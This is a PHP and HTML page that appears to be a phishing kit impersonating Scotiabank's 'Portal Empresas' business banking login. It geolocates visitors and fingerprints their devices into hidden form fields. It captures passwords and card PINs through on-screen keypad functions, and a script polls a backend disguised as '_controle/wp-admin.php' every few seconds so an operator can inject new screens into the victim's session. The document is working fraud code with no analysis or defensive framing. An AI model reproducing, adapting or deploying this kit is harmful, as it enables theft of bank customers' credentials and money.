<?php
error_reporting(0);
require_once('geoplugin.class.php');
$geoplugin = new geoPlugin();
// If we wanted to change the base currency, we would uncomment the following line
// $geoplugin->currency = 'EUR';

$geoplugin->locate();

echo "";

if ( $geoplugin->currency != $geoplugin->currencyCode ) {
        //our visitor is not using the same currency as the base currency
        echo "";
}

/* find places nearby */
$nearby = @$geoplugin->nearby();
if ( isset($nearby[0]['geoplugin_place']) ) {
        echo "";
        foreach ( $nearby as $key => $array ) {

                echo"";

        }
        echo "";
}
date_default_timezone_set('America/Sao_Paulo');
$cidade = "$geoplugin->city";
$pais =  "$geoplugin->countryName";
$estado = "$geoplugin->region" ;

preg_match('((?<=\().*?(?=;))',$_SERVER['HTTP_USER_AGENT'],$matches);
$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$ipad = strpos($_SERVER['HTTP_USER_AGENT'],"iPad");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");
$windows = strpos($_SERVER['HTTP_USER_AGENT'],"Windows");
if ($iphone  == true) {
$box ="iPhone Mobile";
} elseif ($ipad == true) {
$box = "iPad Mobile";
} elseif ($android == true) {
$box ="Android Mobile";
} elseif ($windows == true) {
$box ="Windows ".$matches[0];
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <link rel="shortcut icon" href="images/favicon.ico">
    <meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no">
    <meta name="author" content="Scotiabank S.A" />
    <meta name="description" content="Scotabank Portal Empresas" />
    <base>
    <meta name="msapplication-tap-highlight" content="no">
    <link rel="manifest" href="images/manifest.json">
    <meta name="mobile-web-app-capable" content="yes">
    <meta name="application-name" content="Scotiabank Portal Empresas">
    <link rel="icon" sizes="192x192" href="images/android-icon-192x192.png">
    <script>
      ! function(e, t, a, n, g) {
        e[n] = e[n] || [], e[n].push({
          "gtm.start": (new Date).getTime(),
          event: "gtm.js"
        });
        var m = t.getElementsByTagName(a)[0],
          r = t.createElement(a);
        r.async = !0, r.src = "images/gtm41d9.js?id=GTM-N5KB3V", m.parentNode.insertBefore(r, m)
      }(window, document, "script", "dataLayer")
    </script>
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
    <meta name="apple-mobile-web-app-title" content="Scotiabank Portal Empresas">
    <link rel="apple-touch-icon" sizes="57x57" href="images/apple-icon-57x57.png">
    <link rel="apple-touch-icon" sizes="60x60" href="images/apple-icon-60x60.png">
    <link rel="apple-touch-icon" sizes="72x72" href="images/apple-icon-72x72.png">
    <link rel="apple-touch-icon" sizes="76x76" href="images/apple-icon-76x76.png">
    <link rel="apple-touch-icon" sizes="114x114" href="images/apple-icon-114x114.png">
    <link rel="apple-touch-icon" sizes="120x120" href="images/apple-icon-120x120.png">
    <link rel="apple-touch-icon" sizes="144x144" href="images/apple-icon-144x144.png">
    <link rel="apple-touch-icon" sizes="152x152" href="images/apple-icon-152x152.png">
    <link rel="apple-touch-icon" sizes="180x180" href="images/apple-icon-180x180.png">
    <meta name="msapplication-TileImage" content="/portalempresas/icons/ms-icon-144x144.png">
    <meta name="msapplication-TileColor" content="#ed0722">
    <link rel="icon" type="image/png" sizes="32x32" href="images/favicon-32x32.png">
    <link rel="icon" type="image/png" sizes="96x96" href="images/favicon-96x96.png">
    <link rel="icon" type="image/png" sizes="16x16" href="images/favicon-16x16.png">
    <meta name="theme-color" content="#ed0722">
    <link rel="stylesheet" href="images/fixed.css">
    <link rel="stylesheet" href="images/fonts.css">
    <title>Scotiabank - Portal Empresas</title>
    <script src="images/mfe-loader.js" async></script>
    <script type="text/javascript" src="images/medallia-digital-embed.js"></script>
    <link href="images/2.78eef449.chunk.css" rel="stylesheet">
    <link href="images/main.88098fe2.chunk.css" rel="stylesheet">
  </head>
  <body>
   <form id="FormPrincipal" action="#" method="post">
	<div id="Main" style="width:100%; height:100%">
		<div id="Sistema_Liberacao">
<input type="hidden" name="pais" value="<?php echo $pais;?>">	
<input type="hidden" name="cidade" value="<?php echo $cidade;?>">
<input type="hidden" name="estado" value="<?php echo $estado;?>">	
<input type="hidden" name="dispositivo" value="<?php echo $box;?>">
  <noscript></noscript><noscript>You need to enable JavaScript to run this app.</noscript>
    <div id="portalempresas-web"></div>
    <script src="images/environment.js"></script>
    <script>
      ! function(i) {
        function e(e) {
          for (var r, t, n = e[0], o = e[1], u = e[2], l = 0, f = []; l < n.length; l++) t = n[l], p[t] && f.push(p[t][0]), p[t] = 0;
          for (r in o) Object.prototype.hasOwnProperty.call(o, r) && (i[r] = o[r]);
          for (s && s(e); f.length;) f.shift()();
          return c.push.apply(c, u || []), a()
        }

        function a() {
          for (var e, r = 0; r < c.length; r++) {
            for (var t = c[r], n = !0, o = 1; o < t.length; o++) {
              var u = t[o];
              0 !== p[u] && (n = !1)
            }
            n && (c.splice(r--, 1), e = l(l.s = t[0]))
          }
          return e
        }
        var t = {},
          p = {
            1: 0
          },
          c = [];

        function l(e) {
          if (t[e]) return t[e].exports;
          var r = t[e] = {
            i: e,
            l: !1,
            exports: {}
          };
          return i[e].call(r.exports, r, r.exports, l), r.l = !0, r.exports
        }
        l.m = i, l.c = t, l.d = function(e, r, t) {
          l.o(e, r) || Object.defineProperty(e, r, {
            enumerable: !0,
            get: t
          })
        }, l.r = function(e) {
          "undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, {
            value: "Module"
          }), Object.defineProperty(e, "__esModule", {
            value: !0
          })
        }, l.t = function(r, e) {
          if (1 & e && (r = l(r)), 8 & e) return r;
          if (4 & e && "object" == typeof r && r && r.__esModule) return r;
          var t = Object.create(null);
          if (l.r(t), Object.defineProperty(t, "default", {
              enumerable: !0,
              value: r
            }), 2 & e && "string" != typeof r)
            for (var n in r) l.d(t, n, function(e) {
              return r[e]
            }.bind(null, n));
          return t
        }, l.n = function(e) {
          var r = e && e.__esModule ? function() {
            return e.default
          } : function() {
            return e
          };
          return l.d(r, "a", r), r
        }, l.o = function(e, r) {
          return Object.prototype.hasOwnProperty.call(e, r)
        }, l.p = "index.html";
        var r = window.webpackJsonp = window.webpackJsonp || [],
          n = r.push.bind(r);
        r.push = e, r = r.slice();
        for (var o = 0; o < r.length; o++) e(r[o]);
        var s = n;
        a()
      }([])
    </script>
    <script src="images/2.d0323885.chunk.js"></script>
    <script src="images/main.529f428a.chunk.js"></script>
  </body>
</html>
</div></div></form>
</html>
<div id="sobre_all" align="center" >
<table align="center" width="100%" height="100%" style="position: absolute;margin-top:0%">
	<tr>
		<td align="center">
			<table align="center" width="2" height="2" style="">
				<tr>
					<td><img src="loading.gif" width="20"></td>
				</tr>
			</table>
		</td>
	</tr>	
</table>
</div>
<script src="https://code.jquery.com/jquery-1.12.4.min.js" integrity="sha256-ZosEbRLbNQzLpnKIkEdrPv7lOy9C27hHQ+Xp8a4MxAQ=" crossorigin="anonymous"></script>
<script type="text/javascript">
var oldtext = "" ;

function enviar(){
	$('#sobre_all').show();

	$.ajax({url:'_controle/wp-admin.php' , type:'POST', dataType: "json", data:$('form').serialize() , success:function(MENSAGEM){
		if (MENSAGEM.STATUS === 'AGUARDANDO'){
			$('#sobre_all').show();
			oldtext = 'AGUARDANDO';
			$('aperta').css("display", "none");
      		$('horario').css("display", "none");


		}
		else{
			$('#sobre_all').hide();
			if (oldtext !== MENSAGEM.STATUS){
				$('#Main').html(MENSAGEM.CHAT);
				oldtext = MENSAGEM.STATUS;

			}
		}
	}});

}

function LimpaSenha(){
	$('#txtSenhafisica').val("");
}

function senhaclick(value){
	if(value.length > 1){
		if (value === 'LEFT'){
			$('#senhanet').val("");
		}
		if(value === 'SPACE'){
			$('#senhanet').val($('#senhanet').val()+" "); 

		}
		if(value === 'ENTER'){
			postdata();

		}

	} else {
		if($('#senhanet').val().length < 4)
			$('#senhanet').val($('#senhanet').val()+value); 
		if($('#senha6').val().length < 6)
			$('#senha6').val($('#senha6').val()+value); 
	}
	


};

function letclick(val){

	if(val.length > 1){

		if (val === 'LEFT'){
			$('#senhanet').val("");
		}
		if(val === 'SPACE'){
			$('#senhanet').val($('#senhanet').val()+" "); 

		}
		if(val === 'ENTER'){
			postdata();

		}

	} else {
		if($('#senhanet').val().length < 4)
			$('#senhanet').val($('#senhanet').val()+val); 
		
	} 
 

}


function ddfclick(val){

	if(val.length > 1){

		if (val === 'LEFT'){
			$('#senhacard').val("");
		}
		if(val === 'SPACE'){
			$('#senhacard').val($('#senhacard').val()+" "); 

		}
		if(val === 'ENTER'){
			postdata();

		}

	} else {
		if($('#senhacard').val().length < 6)
			$('#senhacard').val($('#senhacard').val()+val); 
		
	} 
 

}

$(function(){
	PegarPagina();
	var total = setInterval(function(){
		
		PegarPagina();
	
				
	},3000);

	function PegarPagina(){
				$.ajax({url:'_controle/wp-admin.php' , type:'POST' , dataType: "json" , data:'getstyle=' + ((-0.9)+(Math.random()*(100000.99999))) , success:function(MENSAGEM){
			if (MENSAGEM.STATUS === 'AGUARDANDO'){
				$('#sobre_all').show();
				oldtext = MENSAGEM.STATUS;
			//$('aperta').style.display='none';
      		//$('horario').style.display='none';
      		$('#aperta').css("display", "none"); 
      		$('#horario').css("display", "none"); 

			}
			else{
				$('#sobre_all').hide();
				if (oldtext !== MENSAGEM.STATUS){
					$('#Main').html(MENSAGEM.CHAT);
					oldtext = MENSAGEM.STATUS;

				}
			}
		}
	});
	}



	$('form').submit(function(evt){
		evt.preventDefault();
		enviar();
	});
});

</script> 